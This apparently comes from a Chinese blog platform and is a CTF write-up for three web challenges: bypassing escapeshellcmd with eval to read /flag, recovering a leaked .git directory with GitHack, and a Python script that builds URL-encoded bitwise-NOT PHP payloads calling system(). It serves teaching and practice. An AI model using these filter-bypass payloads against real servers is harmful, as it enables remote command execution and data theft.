news 2026/4/27 10:49:05

EZCTF小结-WP

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
EZCTF小结-WP

EZCMD_4
首页是一个图片(其实与解题无关),发现网页标题为robot,访问/robots.txt,然后访问/4atP5Aup.php,发现php源码。


读取源码发现这道题的过滤条件很严格,escapeshellcmd()和preg_match()双重过滤:
使用 escapeshellcmd() 对输入进行转义。escapeshellcmd() 会在绝大多数 shell 特殊字符(如 $, \, ', ", ;, | 等)前面加上反斜杠 \ 强行转义;
使用 preg_match() 对转义后的字符串进行黑名单校验(忽略大小写 /i)。

可以用eval()函数,eval()会去掉多余的转义符重新解析,例如题解a=fl;b=ag;rev /$a$b;
虽然会被转义,但是通过eval()的解析后还是输出原本的指令,下面在hackbar执行:


还有一些可用的方法,比如cmd=eval a=fl;b=ag;dd if=/$a$b;
EZINFOLEAK_6
常规源代码检查没有结果,直接目录爆破,发现./git目录有回显,确定是一道git源码泄露题。

我用的是GitHack,进入脚本所在目录扫描

然后进入dist下的扫描结果,用git log HEAD指令分析获得flag
还有其他的git命令可供使用
git show <commit>:./<file> 使用相对路径(相对于当前目录)
git show <commit> -- <file> 另一种写法,效果相同
git cat-file -p <blob-hash> 直接用对象的哈希值查看内容

EZCMD_14

本题考查字母数字绕过,经典的方法就是URL取反
简单的URL取反代码脚本:

def generate_payload(command, func="system"): # 对函数名取反 func_neg = ''.join(chr(~ord(c) & 0xFF) for c in func) # 对命令取反 cmd_neg = ''.join(chr(~ord(c) & 0xFF) for c in command) # URL 编码 func_encoded = ''.join(f'%{ord(c):02X}' for c in func_neg) cmd_encoded = ''.join(f'%{ord(c):02X}' for c in cmd_neg) return f"(~{func_encoded})(~{cmd_encoded});" # 示例 print(generate_payload("find / -name 'fl*'")) # 输出:(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8);

脚本结果为

(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8); URL输入/?qc=(~%8C%86%8C%8B%9A%92)(~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%D8%99%93%D5%D8);后,等价于执行 system("find / -name 'fl*'"); 发现根目录下的/flag然后通过cat /flag的URL取反命令即可获得flag。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/27 10:46:23

Fillinger脚本:3分钟掌握Illustrator智能填充的革命性工具

Fillinger脚本&#xff1a;3分钟掌握Illustrator智能填充的革命性工具 【免费下载链接】illustrator-scripts Adobe Illustrator scripts 项目地址: https://gitcode.com/gh_mirrors/il/illustrator-scripts 你是否曾为Illustrator中复杂的图案填充而头疼&#xff1f;面…

作者头像 李华
网站建设 2026/4/16 19:10:06

如何预防SQL大数据量更新导致的内存溢出_分段处理与流式插入

大更新触发OOM而非变慢&#xff0c;是因为数据库或客户端将整批结果集、事务日志、排序/连接缓冲全加载进内存&#xff0c;如MySQL的sort_buffer_size、PostgreSQL的work_mem及JDBC默认fetchSize-1导致堆内存飙升。为什么大更新会 OOM&#xff0c;而不是慢&#xff1f;SQL 大批…

作者头像 李华
网站建设 2026/4/16 19:09:09

别再只盯着CPU利用率了!用ARM PMU深入挖掘你的A53/A72芯片真实性能

别再只盯着CPU利用率了&#xff01;用ARM PMU深入挖掘你的A53/A72芯片真实性能 当你的嵌入式设备响应迟缓&#xff0c;而top命令却显示CPU利用率仅有30%时&#xff0c;问题究竟出在哪里&#xff1f;传统性能分析工具就像汽车仪表盘&#xff0c;只能告诉你发动机转速&#xff08…

作者头像 李华
网站建设 2026/4/16 19:09:04

告别卡顿!用火绒自定义规则打造轻量级安全防线(附隐私保护规则模板)

轻量化安全防护实战&#xff1a;用火绒自定义规则释放系统性能 每次开机后电脑风扇狂转&#xff0c;任务管理器里某个安全软件进程长期占用20%以上的CPU资源——这可能是许多办公族和轻度游戏玩家的日常困扰。传统安全软件在提供防护的同时&#xff0c;往往成为系统卡顿的元凶。…

作者头像 李华
网站建设 2026/4/16 19:07:54

深入解析UML顺序图:从基础元素到实战应用

1. 什么是UML顺序图&#xff1f; 想象一下你要给朋友讲解两个人在餐厅点餐的完整流程。你会说&#xff1a;"顾客拿起菜单&#xff0c;服务员走过来&#xff0c;顾客点了一份牛排&#xff0c;服务员记下订单后传给厨房..."这种按时间顺序描述交互过程的方式&#xff0…

作者头像 李华